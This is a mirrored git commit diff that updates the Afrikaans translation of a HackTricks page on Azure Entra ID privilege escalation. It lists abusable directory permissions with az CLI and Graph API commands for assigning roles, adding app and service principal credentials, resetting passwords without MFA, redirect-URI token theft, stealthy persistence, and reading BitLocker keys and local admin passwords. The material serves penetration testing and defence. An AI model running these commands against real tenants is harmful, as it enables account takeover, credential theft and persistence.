mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+59
-45
@@ -3,15 +3,15 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Let wel dat **nie alle gedetailleerde magte** wat ingeboude rolle in Entra ID het **in aanmerking kom om in custom roles gebruik te word.**
|
||||
> Let daarop dat **nie al die granular permissions** wat ingeboude roles in Entra ID het **gekies kan word om in custom roles gebruik te word nie.**
|
||||
|
||||
## Rolle
|
||||
## Roles
|
||||
|
||||
### Rol: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
Hierdie rol bevat die nodige gedetailleerde magte om rolle aan principals toe te ken en om rolle meer magte te gee. Albei aksies kan misbruik word om bevoegdhede te eskaleer.
|
||||
Hierdie role bevat die nodige granular permissions om roles aan principals toe te ken en om meer permissions aan roles te gee. Albei actions kan misbruik word om privileges te escalate.
|
||||
|
||||
- Ken rol toe aan 'n gebruiker:
|
||||
- Assign role to a user:
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
@@ -27,7 +27,7 @@ az rest --method POST \
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
- Voeg meer regte by 'n rol:
|
||||
- Voeg meer permissions by 'n role:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
@@ -48,11 +48,11 @@ az rest --method PATCH \
|
||||
]
|
||||
}'
|
||||
```
|
||||
## Toepassings
|
||||
## Applications
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
Dit laat 'n attacker toe om **add credentials** (passwords of certificates) aan bestaande toepassings te voeg. As die toepassing privileged permissions het, kan die attacker authenticate as daardie toepassing en daardie privileges verkry.
|
||||
Dit laat 'n attacker toe om **credentials** (wagwoorde of certificates) by bestaande applications te **voeg**. As die application geprivilegieerde permissions het, kan die attacker as daardie application authenticate en daardie privileges verkry.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Dit laat dieselfde aksies toe as `applications/credentials/update`, maar is beperk tot toepassings binne 'n enkele directory.
|
||||
Dit laat dieselfde aksies toe as `applications/credentials/update`, maar beperk tot enkel-gids toepassings.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
Deur hulself as eienaar by te voeg, kan 'n aanvaller die toepassing manipuleer, insluitend credentials en permissions.
|
||||
Deur hulleself as 'n owner by te voeg, kan 'n attacker die application manipuleer, insluitend credentials en permissions.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,9 +77,9 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
'n aanvaller kan 'n redirect URI by applications voeg wat deur gebruikers van die tenant gebruik word, en dan login URLs wat die nuwe redirect URL gebruik met hulle deel om hul tokens te steel. Let wel dat as die gebruiker reeds by die application aangemeld was, die authentication outomaties sal plaasvind sonder dat die gebruiker iets hoef te aanvaar.
|
||||
`n Aanvaller kan 'n redirect URI by toepassings voeg wat deur gebruikers van die tenant gebruik word en dan aan hulle login-URL's deel wat die nuwe redirect URL gebruik om hul tokens te steel. Let daarop dat as die gebruiker reeds by die application aangemeld was, die authentication outomaties gaan wees sonder dat die gebruiker iets hoef te aanvaar.
|
||||
|
||||
Let ook daarop dat dit moontlik is om die permissions wat die application versoek te verander om meer permissions te verkry, maar in hierdie geval sal die gebruiker weer die prompt wat vir al die permissions vra, moet aanvaar.
|
||||
Let daarop dat dit ook moontlik is om die permissions te verander wat die application aanvra om meer permissions te kry, maar in hierdie geval sal die gebruiker weer die prompt moet aanvaar wat vir al die permissions vra.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
@@ -88,13 +88,13 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
|
||||
```
|
||||
### Applications Privilege Escalation
|
||||
|
||||
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** was dit baie algemeen om default applications te vind wat toegekende **API permissions** van tipe **`Application`** het. 'n API Permission (soos dit in die Entra ID-konsol genoem word) van tipe **`Application`** beteken dat die application die API kan benader en aksies kan uitvoer sonder 'n gebruikerskonteks (sonder 'n gebruiker wat by die app aanmeld), en sonder om Entra ID-rolle daarvoor nodig te hê. Daarom is dit baie algemeen om **high privileged applications in every Entra ID tenant** te vind.
|
||||
**Soos verduidelik in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** was dit baie algemeen om default applications te vind wat **API permissions** van tipe **`Application`** aan hulle toegeken het. ’n API Permission (soos genoem in die Entra ID console) van tipe **`Application`** beteken dat die application toegang tot die API kan kry en aksies kan uitvoer sonder ’n user context (sonder dat ’n user by die app inlog), en sonder om Entra ID roles te benodig om dit toe te laat. Daarom is dit baie algemeen om **high privileged applications in every Entra ID tenant** te vind.
|
||||
|
||||
Indien 'n attacker enige permission/role het wat toelaat om **update the credentials (secret o certificate) of the application**, kan die attacker 'n nuwe credential genereer en dit dan gebruik om **authenticate as the application**, en sodoende al die permissions wat die application het te bekom.
|
||||
As ’n attacker dan enige permission/role het wat dit toelaat om die **credentials (secret o certificate) van die application op te dateer**, kan die attacker ’n nuwe credential genereer en dit dan gebruik om **as die application te authenticate**, en sodoende al die permissions verkry wat die application het.
|
||||
|
||||
Let wel dat die genoemde blog sekere **API permissions** van algemene Microsoft default applications deel; Microsoft het egter 'n tyd ná hierdie verslag die probleem reggestel en dit is nou nie meer moontlik om as Microsoft applications in te login nie. Dit bly egter moontlik om **custom applications with high privileges that could be abused** te vind.
|
||||
Let daarop dat die genoemde blog ’n paar **API permissions** van algemene Microsoft default applications deel; egter, ’n geruime tyd ná hierdie verslag het Microsoft hierdie issue reggestel, en nou is dit nie meer moontlik om as Microsoft applications in te log nie. Dit is egter steeds moontlik om **custom applications met high privileges wat misbruik kan word** te vind.
|
||||
|
||||
Hoe om die API permissions van 'n application te lys:
|
||||
How to enumerate the API permissions of an application:
|
||||
```bash
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
@@ -125,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Vind alle toepassings se API-permissies en merk APIs wat aan Microsoft behoort</summary>
|
||||
<summary>Vind alle toepassings-API-toestemmings en merk Microsoft-besit APIs</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
@@ -241,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Dit laat 'n attacker toe om credentials by bestaande service principals te voeg. As die service principal verhoogde privileges het, kan die attacker daardie privileges aanneem.
|
||||
This laat 'n aanvaller toe om credentials by bestaande service principals te voeg. As die service principal verhoogde privileges het, kan die aanvaller daardie privileges aanneem.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Die nuwe gegenereerde wagwoord sal nie in die web console verskyn nie, so dit kan 'n stealth manier wees om persistence oor 'n service principal te behou.\
|
||||
> Vanaf die API kan hulle gevind word met: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
> Die nu gegenereerde wagwoord sal nie in die webkonsole verskyn nie, so dit kan 'n stealth manier wees om persistence oor 'n service principal te handhaaf.\
|
||||
> Vanuit die API kan hulle gevind word met: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
As jy die fout `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` kry, is dit omdat **dit nie moontlik is om die passwordCredentials property te wysig** van die SP nie en eers moet jy dit ontsluit. Hiervoor het jy 'n permission (`microsoft.directory/applications/allProperties/update`) nodig wat jou toelaat om die volgende uit te voer:
|
||||
As jy die fout kry `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` is dit omdat **dit nie moontlik is om die passwordCredentials property** van die SP te wysig nie en jy dit eers moet unlock. Hiervoor het jy 'n permission (`microsoft.directory/applications/allProperties/update`) nodig wat jou toelaat om uit te voer:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
Dit laat 'n attacker toe om credentials by bestaande service principals te voeg. As die service principal elevated privileges het, kan die attacker daardie privileges aanneem.
|
||||
Dit laat 'n attacker toe om credentials by bestaande service principals te voeg. As die service principal verhoogde privileges het, kan die attacker daardie privileges aanneem.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Soortgelyk aan toepassings, laat hierdie toestemming toe om meer eienaars by 'n service principal te voeg. Om 'n service principal te besit, bied dit beheer oor sy inlogbewyse en toestemmings.
|
||||
Soortgelyk aan applications, laat hierdie permission toe om meer owners by `n service principal te voeg. Om `n service principal te besit, gee beheer oor sy credentials en permissions.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -279,13 +279,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nadat ek 'n nuwe owner bygevoeg het, het ek probeer om dit te verwyder, maar die API het geantwoord dat die DELETE-metode nie ondersteun is nie, selfs al is dit die metode wat jy moet gebruik om die owner te verwyder. Dus kan jy **deesdae nie owners verwyder nie**.
|
||||
> Nadat ’n nuwe eienaar bygevoeg is, het ek probeer om dit te verwyder, maar die API het geantwoord dat die DELETE-metode nie ondersteun word nie, al is dit die metode wat jy moet gebruik om die eienaar te verwyder. So jy **kan deesdae nie eienaars verwyder nie**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
Hierdie toestemmings laat toe om service principals te disable en te enable. 'n Aanvaller kan hierdie toestemming gebruik om 'n service principal wat hy op een of ander manier kan bekom te enable om sodoende bevoegdhede te eskaleer.
|
||||
Hierdie permissions laat toe om service principals te disable en enable. ’n Aanvaller kan hierdie permission gebruik om ’n service principal waartoe hy op een of ander manier toegang kan kry, te enable om privileges te escalate.
|
||||
|
||||
Neem kennis dat vir hierdie tegniek die aanvaller meer toestemmings nodig sal hê om die ge-enablede service principal oor te neem.
|
||||
Let daarop dat die aanvaller vir hierdie technique meer permissions sal nodig hê om die enabled service principal oor te neem.
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -295,7 +295,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
Hierdie toestemmings laat toe om credentials vir single sign-on te skep en te kry, wat toegang tot derdeparty-toepassings kan gee.
|
||||
Hierdie permissions laat toe om credentials vir single sign-on te skep en te kry, wat toegang tot derdeparty-applications kan moontlik maak.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -321,30 +321,30 @@ az rest --method POST \
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
Hierdie toestemming maak dit moontlik om gebruikers by privileged groups te voeg, wat tot privilege escalation kan lei.
|
||||
Hierdie permission laat toe om users by privileged groups te voeg, wat lei tot privilege escalation.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Let op**: Hierdie toestemming sluit Entra ID role-assignable groups uit.
|
||||
**Nota**: Hierdie permission sluit Entra ID role-assignable groups uit.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
Hierdie toestemming maak dit moontlik om 'n eienaar van groepe te word. 'n Eienaar van 'n groep kan groepslidmaatskap en instellings beheer, wat potensieel bevoegdhede na die groep kan eskaleer.
|
||||
Hierdie permission laat toe om 'n owner van groups te word. 'n Owner van 'n group kan group membership en settings beheer, wat moontlik privileges na die group kan escalate.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Let wel**: Hierdie toestemming sluit Entra ID roltoewysbare groepe uit.
|
||||
**Nota**: Hierdie toestemming sluit Entra ID role-assignable groups uit.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
Hierdie toestemming laat toe om lede by 'n groep te voeg. 'n Aanvaller kan homself of kwaadwillige rekeninge by bevoorregte groepe voeg, wat verhoogde toegang kan gee.
|
||||
Hierdie toestemming laat toe om lede by ’n group te voeg. ’n Aanvaller kon homself of kwaadwillige accounts by privileged groups voeg, wat elevated access kan verleen.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
Hierdie toestemming laat toe om membership rule in dynamic group op te dateer. An attacker kan dynamic rules wysig om homself in privileged groups in te sluit sonder eksplisiete toevoeging.
|
||||
Hierdie toestemming laat toe om die membership rule in 'n dynamic group op te dateer. 'n Aanvaller kan dynamic rules verander om homself in privileged groups in te sluit sonder eksplisiete byvoeging.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -359,23 +359,37 @@ az rest --method PATCH \
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
Dit kan moontlik wees dat gebruikers escalate privileges deur hul eie eienskappe te wysig sodat hulle as lede van dynamic groups bygevoeg word. Vir meer inligting sien:
|
||||
Dit kan moontlik wees vir gebruikers om privileges te escalate deur hul eie properties te wysig om as members van dynamic groups bygevoeg te word. Vir meer info kyk:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
## Gebruikers
|
||||
## Users
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
Hierdie toestemming maak dit moontlik om die wagwoord van nie-admin gebruikers terug te stel, wat 'n potensiële aanvaller in staat stel om privileges te escalate na ander gebruikers. Hierdie toestemming kan nie aan custom roles toegewys word nie.
|
||||
Hierdie toestemming laat toe om password vir nie-admin users te reset, wat 'n moontlike attacker in staat stel om privileges na ander users te escalate. Hierdie toestemming kan nie aan custom roles toegewys word nie.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
# Update user password
|
||||
userId="<user-id>"
|
||||
az ad user update --id $userId --password "kweoifuh.234"
|
||||
|
||||
# Update user password without needing to change or use MFA on next sign-in
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"passwordProfile\": {
|
||||
\"forceChangePasswordNextSignInWithMfa\": false,
|
||||
\"forceChangePasswordNextSignIn\": false,
|
||||
\"password\": \"kweoifuh.234\"
|
||||
}
|
||||
}"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Hierdie voorreg laat toe om die eienskappe van die gebruiker te wysig. Dit is algemeen om dinamiese groepe te vind wat gebruikers byvoeg gebaseer op eienskapwaardes; daarom kan hierdie toestemming 'n gebruiker toelaat om die nodige eienskapswaarde te stel om lid van 'n spesifieke dinamiese groep te word en sodoende voorregte te eskaleer.
|
||||
Hierdie privilege laat toe om properties van die user te wysig. Dit is algemeen om dynamic groups te vind wat users byvoeg gebaseer op property values, daarom kan hierdie permission ’n user toelaat om die nodige property value in te stel om lid te wees van ’n spesifieke dynamic group en privileges te escalate.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -393,17 +407,17 @@ az rest --method PATCH \
|
||||
```
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
Verkeerd gekonfigureerde conditional access policies wat MFA vereis, kan omseil word — kyk:
|
||||
Verkeerd gekonfigureerde conditional access policies wat MFA vereis, kan omseil word, kyk:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Toestelle
|
||||
## Devices
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
Hierdie toestemming maak dit vir aanvallers moontlik om hulself as eienaars van toestelle aan te wys, sodat hulle beheer of toegang tot toestelspesifieke instellings en data kan verkry.
|
||||
Hierdie permission laat attackers toe om hulself as owners van devices toe te ken om beheer of toegang te verkry tot device-spesifieke settings en data.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -414,7 +428,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
Hierdie toestemming stel aanvallers in staat om hul rekening aan toestelle te koppel om toegang te kry of om sekuriteitsbeleide te omseil.
|
||||
Hierdie permission laat attackers toe om hul account met devices te assosieer om access te kry of om security policies te bypass.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -425,7 +439,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
Hierdie toestemming laat attackers toe om die eienskappe van die rugsteun-credentials van plaaslike administrateurrekeninge op Microsoft Entra-aangeslote toestelle te lees, insluitend die wagwoord
|
||||
Hierdie permission laat attackers toe om die properties van die backed up local administrator account credentials vir Microsoft Entra joined devices te lees, insluitend die password
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -440,7 +454,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Hierdie toestemming maak toegang tot BitLocker-sleutels moontlik, wat 'n aanvaller in staat kan stel om skywe te ontsleutel en sodoende die vertroulikheid van data in gevaar stel.
|
||||
Hierdie toestemming laat toegang tot BitLocker-sleutels toe, wat 'n aanvaller kan toelaat om drives te decrypt, en sodoende data confidentiality te kompromitteer.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
@@ -451,7 +465,7 @@ recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
## Ander interessante toestemmings (TODO)
|
||||
## Ander Interessante permissions (TODO)
|
||||
|
||||
- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
|
||||
Reference in New Issue
Block a user